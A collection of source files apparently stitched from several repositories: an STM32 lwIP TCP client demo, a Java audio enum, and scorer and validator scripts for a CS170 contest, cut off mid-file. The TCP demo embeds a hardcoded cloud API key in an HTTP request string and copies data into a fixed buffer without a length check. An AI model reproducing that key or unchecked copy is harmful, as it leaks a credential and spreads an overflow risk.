ucMsgBuf[MAX_BUFFER_LEN]; INT32U dwLen; }MSG_BUF_STRUCT; //TCP ClientๆŽฅๆ”ถๆ•ฐๆฎ็ผ“ๅ†ฒๅŒบ MSG_BUF_STRUCT tcp_client_recvbuf; //TCPๆœๅŠกๅ™จๅ‘้€ๆ•ฐๆฎๅ†…ๅฎน MSG_BUF_STRUCT tcp_client_sendbuf; LB_TMRCB *TimerTcpPeriod; LB_TMRCB *TimerTcpTimout; LB_TMRCB *TimerSendTimout; BOOL bSendBusy = FALSE; BOOL bReConnFlag = FALSE; const char get_requst[]="GET /devices/284289/datapoints HTTP/1.1\r\napi-key: UxvFGrtEFZMnfhwF6pa6zV5h9ZwA\r\nHost: api.heclouds.com\r\n\r\n"; //u8 uRemoteIp[4] = {121,40,173,197}; //u8 uRemoteIp[4] = {192,168,5,99}; //u8 uRemoteIp[4] = {192,168,11,196}; //const u8 *tcp_client_sendbuf="Explorer STM32F407 TCP Client send data\r\n"; //TCP Client ๆต‹่ฏ•ๅ…จๅฑ€็Šถๆ€ๆ ‡่ฎฐๅ˜้‡ //bit7:0,ๆฒกๆœ‰ๆ•ฐๆฎ่ฆๅ‘้€;1,ๆœ‰ๆ•ฐๆฎ่ฆๅ‘้€ //bit6:0,ๆฒกๆœ‰ๆ”ถๅˆฐๆ•ฐๆฎ;1,ๆ”ถๅˆฐๆ•ฐๆฎไบ†. //bit5:0,ๆฒกๆœ‰่ฟžๆŽฅไธŠๆœๅŠกๅ™จ;1,่ฟžๆŽฅไธŠๆœๅŠกๅ™จไบ†. //bit4~0:ไฟ็•™ u8 tcp_client_flag; u8 connflag=0; //่ฟžๆŽฅๆ ‡่ฎฐ //่ฎพ็ฝฎ่ฟœ็ซฏIPๅœฐๅ€ void tcp_client_set_remoteip(void) { u8 *tbuf; //u8 uRemoteIp[4] = {192,168,5,99}; uart_dbg_printf((u8 *)"ๅŠฉๅผ€ๅ‘็ฝ‘\n"); tbuf=mymalloc(SRAMIN,100); //็”ณ่ฏทๅ†…ๅญ˜ if(tbuf==NULL)return; //ๅ‰ไธ‰ไธชIPไฟๆŒๅ’ŒDHCPๅพ—ๅˆฐ็š„IPไธ€่‡ด lwipdev.remoteip[0]=uRemoteIp[0]; lwipdev.remoteip[1]=uRemoteIp[1]; lwipdev.remoteip[2]=uRemoteIp[2]; lwipdev.remoteip[3]=uRemoteIp[3]; sprintf((char*)tbuf,"Remote IP:%d.%d.%d.%d",lwipdev.remoteip[0],lwipdev.remoteip[1],lwipdev.remoteip[2],lwipdev.remoteip[3]);//่ฟœ็ซฏIP uart_dbg_printf(tbuf); myfree(SRAMIN,tbuf); } //ๅˆคๆ–ญๅ‘้€ๆ˜ฏๅฆ็ฉบ้—ฒ BOOL IsSendBusy(void) { return bSendBusy; } void SendTimout(void) { bSendBusy = FALSE; DisLB_TMR(TimerSendTimout);//ๅ…ณ้—ญๅ‘้€่ถ…ๆ—ถ printf("ๆ‰ง่กŒTcpDataSend่ถ…ๆ—ถ๏ผ\n"); } //ๅ‘้€ๆ•ฐๆฎ BOOL TcpDataSend(BYTE *buf,WORD len) { int i; if(bSendBusy == FALSE) { printf("ๆ‰ง่กŒTcpDataSend\n"); for(i = 0;i < len;i ++) { tcp_client_sendbuf.ucMsgBuf[i] = buf[i]; } tcp_client_sendbuf.dwLen = len; bSendBusy = TRUE; tcp_client_flag|=1<<7;//ๆ ‡่ฎฐ่ฆๅ‘้€ๆ•ฐๆฎ EnLB_TMR(TimerSendTimout); return TRUE; } return FALSE; } void key_check(void) { if(0 ==GPIO_ReadInputDataBit(GPIOB, GPIO_Pin_8)) { printf("key fst down!\n"); //ๆณจๆ„่ฟ™้‡Œ่ฆๅ‡1๏ผŒๅ› ไธบๅญ—็ฌฆไธฒๆœ€ๅŽไธ€ไธช'\0'ไนŸ็ฎ—่ฟ›ๅŽปไบ†๏ผŒไผšๅฏผ่‡ดOneNetๆœๅŠกๅ™จไธ่ฏ†ๅˆซ TcpDataSend((BYTE *)get_requst,sizeof(get_requst)-1); } } void TimerTcpPeroidCallBack(void) { static int t = 0; t++; if(t==200) //200ms { t = 0; bReConnFlag = TRUE; } if(0 == (t%100))//100ms { key_check(); } //่ฟ™ไธชๆ˜ฏlwipๅ†…ๆ ธ็›ธๅ…ณ็š„๏ผŒๅฟ…้กปๅฎšๆ—ถ่ฐƒ็”จ lwip_periodic_handle(); } void TcpTimout(void) { connflag=0; tcp_client_flag=0; } //TCP Client ๆต‹่ฏ• void tcp_client_test(void) { struct tcp_pcb *tcppcb; //ๅฎšไน‰ไธ€ไธชTCPๆœๅŠกๅ™จๆŽงๅˆถๅ— struct ip_addr rmtipaddr; //่ฟœ็ซฏipๅœฐๅ€ u8 *tbuf; TimerTcpPeriod = LB_TMRCreate(1,TRUE,(TIMER_CB *)TimerTcpPeroidCallBack,(TIMER_CB *)0,(void *)0); tcp_client_set_remoteip();//ๅ…ˆ้€‰ๆ‹ฉIP uart_dbg_printf((u8 *)"www.zkaifa.com\n"); tbuf=mymalloc(SRAMIN,200); //็”ณ่ฏทๅ†…ๅญ˜ if(tbuf==NULL)return ; //ๅ†…ๅญ˜็”ณ่ฏทๅคฑ่ดฅไบ†,็›ดๆŽฅ้€€ๅ‡บ sprintf((char*)tbuf,"Local IP:%d.%d.%d.%d\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);//ๆœๅŠกๅ™จIP uart_dbg_printf(tbuf); sprintf((char*)tbuf,"Remote IP:%d.%d.%d.%d\n",lwipdev.remoteip[0],lwipdev.remoteip[1],lwipdev.remoteip[2],lwipdev.remoteip[3]);//่ฟœ็ซฏIP uart_dbg_printf(tbuf); sprintf((char*)tbuf,"Remote Port:%d\n",TCP_CLIENT_PORT);//ๅฎขๆˆท็ซฏ็ซฏๅฃๅท uart_dbg_printf(tbuf); uart_dbg_printf((u8 *)"STATUS:Disconnected\n"); tcppcb=tcp_new(); //ๅˆ›ๅปบไธ€ไธชๆ–ฐ็š„pcb if(tcppcb) //ๅˆ›ๅปบๆˆๅŠŸ { IP4_ADDR(&rmtipaddr,lwipdev.remoteip[0],lwipdev.remoteip[1],lwipdev.remoteip[2],lwipdev.remoteip[3]); tcp_connect(tcppcb,&rmtipaddr,TCP_CLIENT_PORT,tcp_client_connected); //่ฟžๆŽฅๅˆฐ็›ฎ็š„ๅœฐๅ€็š„ๆŒ‡ๅฎš็ซฏๅฃไธŠ,ๅฝ“่ฟžๆŽฅๆˆๅŠŸๅŽๅ›ž่ฐƒtcp_client_connected()ๅ‡ฝๆ•ฐ } TimerTcpTimout = LB_TMRCreate(2000,TRUE,(TIMER_CB *)TcpTimout,(TIMER_CB *)0,(void *)0); TimerSendTimout = LB_TMRCreate(1500,FALSE,(TIMER_CB *)SendTimout,(TIMER_CB *)0,(void *)0); while(1) { if(tcp_client_flag&1<<6)//ๆ˜ฏๅฆๆ”ถๅˆฐๆ•ฐๆฎ? { printf("ๆŽฅๆ”ถๅˆฐ%dๅญ—่Š‚ๆ•ฐๆฎ:\n%s\n",tcp_client_recvbuf.dwLen,tcp_client_recvbuf.ucMsgBuf); //ๅค„็†ๆ•ฐๆฎ tcp_client_flag&=~(1<<6);//ๆ ‡่ฎฐๆ•ฐๆฎๅทฒ็ป่ขซๅค„็†ไบ†. } if(tcp_client_flag&1<<5)//ๆ˜ฏๅฆ่ฟžๆŽฅไธŠ? { if(connflag==0) { uart_dbg_printf((u8 *)"STATUS:Connected \n");//ๆ็คบๆถˆๆฏ connflag=1;//ๆ ‡่ฎฐ่ฟžๆŽฅไบ† } } else if(connflag) { uart_dbg_printf((u8 *)"STATUS:Disconnected\n"); connflag=0; //ๆ ‡่ฎฐ่ฟžๆŽฅๆ–ญๅผ€ไบ† } //400msๆฃ€ๆต‹ไพๆฌกๆ˜ฏๅฆ่ฆ้‡่ฟž if(bReConnFlag == TRUE) { bReConnFlag = FALSE; if(connflag==0&&(tcp_client_flag&1<<5)==0)//ๆœช่ฟžๆŽฅไธŠ,ๅˆ™ๅฐ่ฏ•้‡่ฟž { ReCntLB_TMR(TimerTcpTimout); tcp_client_connection_close(tcppcb,0);//ๅ…ณ้—ญ่ฟžๆŽฅ tcppcb=tcp_new(); //ๅˆ›ๅปบไธ€ไธชๆ–ฐ็š„pcb if(tcppcb) //ๅˆ›ๅปบๆˆๅŠŸ { tcp_connect(tcppcb,&rmtipaddr,TCP_CLIENT_PORT,tcp_client_connected);//่ฟžๆŽฅๅˆฐ็›ฎ็š„ๅœฐๅ€็š„ๆŒ‡ๅฎš็ซฏๅฃไธŠ,ๅฝ“่ฟžๆŽฅๆˆๅŠŸๅŽๅ›ž่ฐƒtcp_client_connected()ๅ‡ฝๆ•ฐ } } } //ๅฎšๆ—ถๅ™จ่ฐƒๅบฆ็”จ็š„๏ผŒๆ”พ่ฟ™้‡Œๅฐฑ่กŒไบ† LB_ExcTMR(); } } //lwIP TCP่ฟžๆŽฅๅปบ็ซ‹ๅŽ่ฐƒ็”จๅ›ž่ฐƒๅ‡ฝๆ•ฐ err_t tcp_client_connected(void *arg, struct tcp_pcb *tpcb, err_t err) { struct tcp_client_struct *es=NULL; if(err==ERR_OK) { es=(struct tcp_client_struct*)mem_malloc(sizeof(struct tcp_client_struct)); //็”ณ่ฏทๅ†…ๅญ˜ if(es) //ๅ†…ๅญ˜็”ณ่ฏทๆˆๅŠŸ { es->state=ES_TCPCLIENT_CONNECTED;//็Šถๆ€ไธบ่ฟžๆŽฅๆˆๅŠŸ es->pcb=tpcb; es->p=NULL; tcp_arg(tpcb,es); //ไฝฟ็”จesๆ›ดๆ–ฐtpcb็š„callback_arg tcp_recv(tpcb,tcp_client_recv); //ๅˆๅง‹ๅŒ–LwIP็š„tcp_recvๅ›ž่ฐƒๅŠŸ่ƒฝ tcp_err(tpcb,tcp_client_error); //ๅˆๅง‹ๅŒ–tcp_err()ๅ›ž่ฐƒๅ‡ฝๆ•ฐ tcp_sent(tpcb,tcp_client_sent); //ๅˆๅง‹ๅŒ–LwIP็š„tcp_sentๅ›ž่ฐƒๅŠŸ่ƒฝ tcp_poll(tpcb,tcp_client_poll,1); //ๅˆๅง‹ๅŒ–LwIP็š„tcp_pollๅ›ž่ฐƒๅŠŸ่ƒฝ tcp_client_flag|=1<<5; //ๆ ‡่ฎฐ่ฟžๆŽฅๅˆฐๆœๅŠกๅ™จไบ† err=ERR_OK; } else { tcp_client_connection_close(tpcb,es);//ๅ…ณ้—ญ่ฟžๆŽฅ err=ERR_MEM; //่ฟ”ๅ›žๅ†…ๅญ˜ๅˆ†้…้”™่ฏฏ } } else { tcp_client_connection_close(tpcb,0);//ๅ…ณ้—ญ่ฟžๆŽฅ } return err; } //lwIP tcp_recv()ๅ‡ฝๆ•ฐ็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ err_t tcp_client_recv(void *arg,struct tcp_pcb *tpcb,struct pbuf *p,err_t err) { u32 data_len=0; struct pbuf *q; struct tcp_client_struct *es; err_t ret_err; LWIP_ASSERT("arg != NULL",arg != NULL); es=(struct tcp_client_struct *)arg; if(p==NULL)//ๅฆ‚ๆžœไปŽๆœๅŠกๅ™จๆŽฅๆ”ถๅˆฐ็ฉบ็š„ๆ•ฐๆฎๅธงๅฐฑๅ…ณ้—ญ่ฟžๆŽฅ { es->state=ES_TCPCLIENT_CLOSING;//้œ€่ฆๅ…ณ้—ญTCP ่ฟžๆŽฅไบ† es->p=p; ret_err=ERR_OK; } else if(err!= ERR_OK) //ๅฝ“ๆŽฅๆ”ถๅˆฐไธ€ไธช้ž็ฉบ็š„ๆ•ฐๆฎๅธง,ไฝ†ๆ˜ฏerr!=ERR_OK { if(p)pbuf_free(p);//้‡Šๆ”พๆŽฅๆ”ถpbuf ret_err=err; } else if(es->state==ES_TCPCLIENT_CONNECTED) //ๅฝ“ๅค„ไบŽ่ฟžๆŽฅ็Šถๆ€ๆ—ถ { if(p!=NULL)//ๅฝ“ๅค„ไบŽ่ฟžๆŽฅ็Šถๆ€ๅนถไธ”ๆŽฅๆ”ถๅˆฐ็š„ๆ•ฐๆฎไธไธบ็ฉบๆ—ถ { memset(tcp_client_recvbuf.ucMsgBuf,0,TCP_CLIENT_RX_BUFSIZE); //ๆ•ฐๆฎๆŽฅๆ”ถ็ผ“ๅ†ฒๅŒบๆธ…้›ถ for(q=p; q!=NULL; q=q->next) //้ๅކๅฎŒๆ•ดไธชpbuf้“พ่กจ { //ๅˆคๆ–ญ่ฆๆ‹ท่ดๅˆฐTCP_CLIENT_RX_BUFSIZEไธญ็š„ๆ•ฐๆฎๆ˜ฏๅฆๅคงไบŽTCP_CLIENT_RX_BUFSIZE็š„ๅ‰ฉไฝ™็ฉบ้—ด๏ผŒๅฆ‚ๆžœๅคงไบŽ //็š„่ฏๅฐฑๅชๆ‹ท่ดTCP_CLIENT_RX_BUFSIZEไธญๅ‰ฉไฝ™้•ฟๅบฆ็š„ๆ•ฐๆฎ๏ผŒๅฆๅˆ™็š„่ฏๅฐฑๆ‹ท่ดๆ‰€ๆœ‰็š„ๆ•ฐๆฎ if(q->len > (TCP_CLIENT_RX_BUFSIZE-data_len)) memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,(TCP_CLIENT_RX_BUFSIZE-data_len));//ๆ‹ท่ดๆ•ฐๆฎ else memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,q->len); data_len += q->len; if(data_len > TCP_CLIENT_RX_BUFSIZE) break; //่ถ…ๅ‡บTCPๅฎขๆˆท็ซฏๆŽฅๆ”ถๆ•ฐ็ป„,่ทณๅ‡บ } tcp_client_recvbuf.dwLen = data_len; tcp_client_flag|=1<<6; //ๆ ‡่ฎฐๆŽฅๆ”ถๅˆฐๆ•ฐๆฎไบ† tcp_recved(tpcb,p->tot_len);//็”จไบŽ่Žทๅ–ๆŽฅๆ”ถๆ•ฐๆฎ,้€š็ŸฅLWIPๅฏไปฅ่Žทๅ–ๆ›ดๅคšๆ•ฐๆฎ pbuf_free(p); //้‡Šๆ”พๅ†…ๅญ˜ ret_err=ERR_OK; } } else //ๆŽฅๆ”ถๅˆฐๆ•ฐๆฎไฝ†ๆ˜ฏ่ฟžๆŽฅๅทฒ็ปๅ…ณ้—ญ, { tcp_recved(tpcb,p->tot_len);//็”จไบŽ่Žทๅ–ๆŽฅๆ”ถๆ•ฐๆฎ,้€š็ŸฅLWIPๅฏไปฅ่Žทๅ–ๆ›ดๅคšๆ•ฐๆฎ es->p=NULL; pbuf_free(p); //้‡Šๆ”พๅ†…ๅญ˜ ret_err=ERR_OK; } return ret_err; } //lwIP tcp_errๅ‡ฝๆ•ฐ็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ void tcp_client_error(void *arg,err_t err) { //่ฟ™้‡Œๆˆ‘ไปฌไธๅšไปปไฝ•ๅค„็† } //lwIP tcp_poll็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ err_t tcp_client_poll(void *arg, struct tcp_pcb *tpcb) { err_t ret_err; struct tcp_client_struct *es; es=(struct tcp_client_struct*)arg; if(es!=NULL) //่ฟžๆŽฅๅค„ไบŽ็ฉบ้—ฒๅฏไปฅๅ‘้€ๆ•ฐๆฎ { ReCntLB_TMR(TimerTcpTimout); if(tcp_client_flag&(1<<7)) //ๅˆคๆ–ญๆ˜ฏๅฆๆœ‰ๆ•ฐๆฎ่ฆๅ‘้€ { es->p=pbuf_alloc(PBUF_TRANSPORT, tcp_client_sendbuf.dwLen,PBUF_POOL); //็”ณ่ฏทๅ†…ๅญ˜ pbuf_take(es->p,(char*)tcp_client_sendbuf.ucMsgBuf,tcp_client_sendbuf.dwLen); //ๅฐ†tcp_client_sentbuf[]ไธญ็š„ๆ•ฐๆฎๆ‹ท่ดๅˆฐes->p_txไธญ tcp_client_senddata(tpcb,es);//ๅฐ†tcp_client_sentbuf[]้‡Œ้ขๅคๅˆถ็ป™pbuf็š„ๆ•ฐๆฎๅ‘้€ๅ‡บๅŽป tcp_client_flag&=~(1<<7); //ๆธ…้™คๆ•ฐๆฎๅ‘้€ๆ ‡ๅฟ— bSendBusy = FALSE; DisLB_TMR(TimerSendTimout);//ๅ…ณ้—ญๅ‘้€่ถ…ๆ—ถ if(es->p)pbuf_free(es->p); //้‡Šๆ”พๅ†…ๅญ˜ } else if(es->state==ES_TCPCLIENT_CLOSING) { tcp_client_connection_close(tpcb,es);//ๅ…ณ้—ญTCP่ฟžๆŽฅ } ret_err=ERR_OK; } else { tcp_abort(tpcb);//็ปˆๆญข่ฟžๆŽฅ,ๅˆ ้™คpcbๆŽงๅˆถๅ— ret_err=ERR_ABRT; } return ret_err; } //lwIP tcp_sent็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ(ๅฝ“ไปŽ่ฟœ็ซฏไธปๆœบๆŽฅๆ”ถๅˆฐACKไฟกๅทๅŽๅ‘้€ๆ•ฐๆฎ) err_t tcp_client_sent(void *arg, struct tcp_pcb *tpcb, u16_t len) { struct tcp_client_struct *es; LWIP_UNUSED_ARG(len); es=(struct tcp_client_struct*)arg; if(es->p)tcp_client_senddata(tpcb,es);//ๅ‘้€ๆ•ฐๆฎ return ERR_OK; } //ๆญคๅ‡ฝๆ•ฐ็”จๆฅๅ‘้€ๆ•ฐๆฎ void tcp_client_senddata(struct tcp_pcb *tpcb, struct tcp_client_struct * es) { struct pbuf *ptr; err_t wr_err=ERR_OK; while((wr_err==ERR_OK)&&es->p&&(es->p->len<=tcp_sndbuf(tpcb))) //ๅฐ†่ฆๅ‘้€็š„ๆ•ฐๆฎๅŠ ๅ…ฅๅˆฐๅ‘้€็ผ“ๅ†ฒ้˜Ÿๅˆ—ไธญ { ptr=es->p; wr_err=tcp_write(tpcb,ptr->payload,ptr->len,1); if(wr_err==ERR_OK) { es->p=ptr->next; //ๆŒ‡ๅ‘ไธ‹ไธ€ไธชpbuf if(es->p)pbuf_ref(es->p); //pbuf็š„refๅŠ ไธ€ pbuf_free(ptr); //้‡Šๆ”พptr } else if(wr_err==ERR_MEM)es->p=ptr; tcp_output(tpcb); //ๅฐ†ๅ‘้€็ผ“ๅ†ฒ้˜Ÿๅˆ—ไธญ็š„ๆ•ฐๆฎ็ซ‹ๅณๅ‘้€ๅ‡บๅŽป } } //ๅ…ณ้—ญไธŽๆœๅŠกๅ™จ็š„่ฟžๆŽฅ void tcp_client_connection_close(struct tcp_pcb *tpcb, struct tcp_client_struct * es) { //็งป้™คๅ›ž่ฐƒ tcp_abort(tpcb);//็ปˆๆญข่ฟžๆŽฅ,ๅˆ ้™คpcbๆŽงๅˆถๅ— tcp_arg(tpcb,NULL); tcp_recv(tpcb,NULL); tcp_sent(tpcb,NULL); tcp_err(tpcb,NULL); tcp_poll(tpcb,NULL,0); if(es)mem_free(es); tcp_client_flag&=~(1<<5);//ๆ ‡่ฎฐ่ฟžๆŽฅๆ–ญๅผ€ไบ† } ``` iot_import_config.h ```#ifndef __IOT_IMPORT_CONFIG_H__ #define __IOT_IMPORT_CONFIG_H__ #ifndef CONFIG_HTTP_AUTH_TIMEOUT #define CONFIG_HTTP_AUTH_TIMEOUT (5 * 1000) #endif #ifndef CONFIG_MID_HTTP_TIMEOUT #define CONFIG_MID_HTTP_TIMEOUT (5 * 1000) #endif #ifndef CONFIG_GUIDER_AUTH_TIMEOUT #define CONFIG_GUIDER_AUTH_TIMEOUT (10 * 1000) #endif #ifndef CONFIG_COAP_AUTH_TIMEOUT #define CONFIG_COAP_AUTH_TIMEOUT (10 * 1000) #endif #define IOTX_WITHOUT_TLS //miaoyahan 20180512 #define MQTT_DIRECT //miaoyahan 20180512 #define MQTT_COMM_ENABLED //miaoyahan 20180512 #endif /* __IOT_IMPORT_CONFIG_H__ */ ``` tcp_client_demo.h ```/* *********************************************************************************** * *ๅŠŸ่ƒฝ๏ผš * * * *่ฏดๆ˜Ž๏ผš1. * 2. * 3. * * *By :Liubing๏ผˆๅผ€ๅฟƒๅฐฑๅฅฝ๏ผ‰ *Contact :371007204@qq.com *History :2015/7/1 16:13:05 *********************************************************************************** */ #ifndef _TCP_CLIENT_DEMO_H_ #define _TCP_CLIENT_DEMO_H_ #include "sys1.h" #include "lwip/debug.h" #include "lwip/stats.h" #include "lwip/tcp.h" #include "lwip/memp.h" #include "lwip/mem.h" #include "lwip_comm.h" #include "lb_type.h" #ifdef _TCP_CLIENT_DEMO_C_ #define TCP_CLIENT_DEMO_EXT #else #define TCP_CLIENT_DEMO_EXT extern #endif #ifdef _TCP_CLIENT_DEMO_C_ #endif #define MAX_BUFFER_LEN 1024 #define TCP_CLIENT_RX_BUFSIZE MAX_BUFFER_LEN //ๅฎšไน‰tcp clientๆœ€ๅคงๆŽฅๆ”ถๆ•ฐๆฎ้•ฟๅบฆ #define TCP_CLIENT_PORT 80 //ๅฎšไน‰tcp client่ฆ่ฟžๆŽฅ็š„่ฟœ็ซฏ็ซฏๅฃ //tcpๆœๅŠกๅ™จ่ฟžๆŽฅ็Šถๆ€ enum tcp_client_states { ES_TCPCLIENT_NONE = 0, //ๆฒกๆœ‰่ฟžๆŽฅ ES_TCPCLIENT_CONNECTED, //่ฟžๆŽฅๅˆฐๆœๅŠกๅ™จไบ† ES_TCPCLIENT_CLOSING, //ๅ…ณ้—ญ่ฟžๆŽฅ }; //LWIPๅ›ž่ฐƒๅ‡ฝๆ•ฐไฝฟ็”จ็š„็ป“ๆž„ไฝ“ struct tcp_client_struct { u8 state; //ๅฝ“ๅ‰่ฟžๆŽฅ็Šถ struct tcp_pcb *pcb; //ๆŒ‡ๅ‘ๅฝ“ๅ‰็š„pcb struct pbuf *p; //ๆŒ‡ๅ‘ๆŽฅๆ”ถ/ๆˆ–ไผ ่พ“็š„pbuf }; TCP_CLIENT_DEMO_EXT u8 uRemoteIp[4]; TCP_CLIENT_DEMO_EXT BOOL bDnsOk; TCP_CLIENT_DEMO_EXT void tcp_client_set_remoteip(void); TCP_CLIENT_DEMO_EXT void tcp_client_test(void);//TCP Clientๆต‹่ฏ•ๅ‡ฝๆ•ฐ TCP_CLIENT_DEMO_EXT err_t tcp_client_connected(void *arg, struct tcp_pcb *tpcb, err_t err); TCP_CLIENT_DEMO_EXT err_t tcp_client_recv(void *arg,struct tcp_pcb *tpcb,struct pbuf *p,err_t err); TCP_CLIENT_DEMO_EXT void tcp_client_error(void *arg,err_t err); TCP_CLIENT_DEMO_EXT err_t tcp_client_poll(void *arg, struct tcp_pcb *tpcb); TCP_CLIENT_DEMO_EXT err_t tcp_client_sent(void *arg, struct tcp_pcb *tpcb, u16_t len); TCP_CLIENT_DEMO_EXT void tcp_client_senddata(struct tcp_pcb *tpcb, struct tcp_client_struct * es); TCP_CLIENT_DEMO_EXT void tcp_client_connection_close(struct tcp_pcb *tpcb, struct tcp_client_struct * es ); TCP_CLIENT_DEMO_EXT BOOL TcpDataSend(BYTE *buf,WORD len); TCP_CLIENT_DEMO_EXT BOOL IsSendBusy(void); TCP_CLIENT_DEMO_EXT void TcpTimout(void);//ไฟƒไฝฟtcp้‡่ฟž #endif ```
yxwandroid/AndroidAudioConverter
yxwandroid/AndroidAudioConverter BitRate.java ```package cafe.adriel.androidaudioconverter.model; public enum BitRate { def, //Stands for default case u8, s16, s32, flt, dbl, u8p, s16p, s32p, fltp, dblp; public String getBitRate() { return name().toLowerCase(); } }```
yxyang/cs170-fa15-contest
yxyang/cs170-fa15-contest scorer_single.py ```import sys # assumes files are well formatted # if you have errors, make sure you double check our input and output format def main(argv): if len(argv) != 2: print "Usage: python scorer_single.py [path_to_instance] [path_to_answer]" return print processTest(argv[0], argv[1]) def processTest(inst, sol): fin = open(inst, "r") N = int(fin.readline().split()[0]) d = [[0 for j in range(N)] for i in range(N)] for i in xrange(N): d[i] = map(int, fin.readline().split()) fin = open(sol, "r") ans = map(lambda x: (int(x) - 1), fin.readline().split()) count = 0.0 for i in xrange(N): for j in xrange(i + 1, N): if d[ans[i]][ans[j]] == 1: count += 1 return "solution value is %d" % count if __name__ == '__main__': main(sys.argv[1:])``` autocommit.sh ```git add --all git commit -am "update, instance running on Hive26 and Hive11" git push origin master ``` temp.java ```import java.util.Random; public class temp { public static void main(String[] args) { Random rnd = new Random(); int n = 100; int[][] g = new int[n][n]; int[] ord = new int[n]; //System.out.println(1); System.out.println(n); for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { if ((i != j) && (rnd.nextBoolean())) { g[i][j] = 1; } else { g[i][j] = 0; } } ord[i] = i; } for (int i = 0; i < n; i++) { int ind = rnd.nextInt(100); int t = ord[i]; ord[i] = ord[ind]; ord[ind] = t; } for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { System.out.print(g[ord[i]][ord[j]] + " "); } System.out.println(); } } } ``` final_validator.py ```import sys instanceSizes = [66,100,25,100,10,100,99,100,100,100,100,24,100,100,100,100, 100,27,100,33,100,20,98,21,50,100,100,100,100,100,100,100,100,100,96,100,90, 100,100,100,100,41,100,51,9,100,100,100,100,100,100,100,19,100,100,10,100,100, 100,100,100,100,100,100,100,7,62,100,100,100,100,100,100,100,100,100,100,10, 100,100,100,100,30,10,100,25,100,100,100,100,100,100,20,100,100,100,100,100, 100,100,6,100,18,17,15,100,12,50,57,100,20,100,20,100,100,100,100,10,100,100, 100,100,97,87,100,92,100,88,99,72,100,100,85,100,100,97,100,100,100,99,97,100, 100,20,80,97,63,100,100,100,4,40,17,100,100,100,80,100,100,100,100,100,89,100, 100,97,100,100,4,100,100,100,7,99,99,50,100,96,10,100,100,100,100,72,100,100, 100,100,81,100,93,100,100,100,100,6,100,27,100,100,100,100,100,97,20,100,100, 100,99,100,100,100,100,100,95,100,100,7,100,100,100,100,100,100,100,99,100,100, 100,100,87,100,65,100,99,100,100,100,100,25,100,26,97,72,90,100,100,100,100, 100,100,100,100,100,100,99,7,100,100,40,54,100,100,100,100,100,50,100,100,50, 64,5,100,100,100,100,100,5,23,7,100,100,100,100,100,100,81,100,10,100,20,85, 100,48,9,100,100,99,100,76,100,100,5,100,40,100,100,60,97,100,100,100,100,100, 100,100,100,100,10,100,100,80,23,6,100,100,100,100,4,100,100,10,100,100,100, 100,100,50,2,100,100,100,100,100,100,8,100,100,100,15,100,100,100,100,100,100, 100,6,100,99,100,100,100,100,97,100,97,100,87,100,100,100,100,100,100,100,100, 100,100,100,20,100,14,27,100,100,100,100,100,100,100,100,100,85,100,99,6,100, 40,100,100,100,100,100,90,100,100,100,6,100,100,80,100,70,7,100,100,100,100,9, 8,100,20,100,100,100,91,100,96,100,100,100,100,100,100,100,100,100,100,100,100, 10,60,100,64,100,50,100,100,100,100,100,100,100,100,100,100,100,100,50,100,100, 100,99,100,100,100,73,100,100,85,100,100,100,21,99,100,100,100,100,100,50,100, 100,70,100,50,100,100,100,100,100,97,100,100,100,100,100,100,100,100,100,100, 56,9,100,100,100,100,100,80,100,100,10,100,98,100,100,100,10,100,100,100,90,15, 100,100,100,99,100,97,100,6,100,10,100,100,100,100,100,100,99,10,100,97,100, 100,100,100,100,100,45,100,98,100,50,100,100,100,73,32,100,100,93,32,100,100, 25,8,100,7,100,100,95,100,98,100,100,46,81,100,100,5,100,100,100,100,50,60,40, 85,100,100,20,76,100,100,100,100,100,93,100,100,100,85,100,100,100,9,100,100, 100,6,100,100,100,100,100,60,100,100] def main(argv): if len(argv) != 1: print "Usage: python solutions_validator.py [path_to_input_file]" return allPassed = True lineIndex = 0 with open(argv[0], "r") as f: for line in f: if lineIndex >= len(instanceSizes): print "Extra data at end of file" return result = processTest(line.split(), instanceSizes[lineIndex]) if result != "solution ok": print "Error with test " + str(lineIndex + 1) + ": " + result allPassed = False lineIndex += 1 if lineIndex < len(instanceSizes): print "File terminated early; missing lines" return if allPassed: print "all solution lines ok" def processTest(line, N): if len(line) != N: return "Line must contain " + str(N) + " integers." b = [False for i in range(N)] for v in line: if not v.isdigit(): return "Line must contain " + str(N) + " integers." vertex = int(v) - 1 if vertex < 0 or vertex >= N: return "Each integer must be between 1 and " + str(N) + ", inclusive." if b[vertex]: return "Each integer in the range 1 to " + str(N) + " must appear exactly once." b[vertex] = True if not all(b): return "Each integer in the range 1 to " + str(N) + " must appear exactly once." return "solution ok" if __name__ == '__main__': main(sys.argv[1:])``` dataPicker.java ```import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; import java.util.Random; public class dataPicker { public static int calc_sum(int[] perm, int[][] g, int n) { int sum = 0; for (int x = 0; x < n; x++) { for (int y = x+1; y < n; y++) { sum += g[perm[x]][perm[y]]; } } return sum; } public static void main(String[] args) throws FileNotFoundException { //Scanner input = new Scanner(System.in); int num_data = 621; int num_iter = 2000000; int tot_score = 0; String[] file_to_check = new String[]{"./intermediate_results/rand.out", "./intermediate_results/HassinRubinstein.out"}; Scanner[] scanners = new Scanner[file_to_check.length]; for (int i = 0; i < file_to_check.length; i++) { scanners[i] = new Scanner(new File(file_to_check[i])); } for (int i = 1; i <= num_data; i++) { File file = new File("./instances/" + i + ".in"); Scanner input = new Scanner(file); int num_ver = input.nextInt(); int[][] a = new int[num_ver][num_ver]; for (int x = 0; x < num_ver; x++) { for (int y = 0; y < num_ver; y++) { a[x][y] = input.nextInt(); } } input.close(); int[] bestPerm = new int[num_ver]; int bestSum = calc_sum(bestPerm, a, num_ver); String bestMethod = "Brute-Force"; for (int j = 0; j < num_ver; j++) bestPerm[j] = i; for (int j = 0; j < file_to_check.length; j++) { int[] currPerm = new int[num_ver]; for (int k = 0; k < num_ver; k++) { currPerm[k] = scanners[j].nextInt() - 1; } if (calc_sum(currPerm, a, num_ver) > bestSum) { bestSum = calc_sum(currPerm, a, num_ver); bestPerm = currPerm; bestMethod = file_to_check[j]; } } System.out.println("For data " + i + ", the best method is:"); 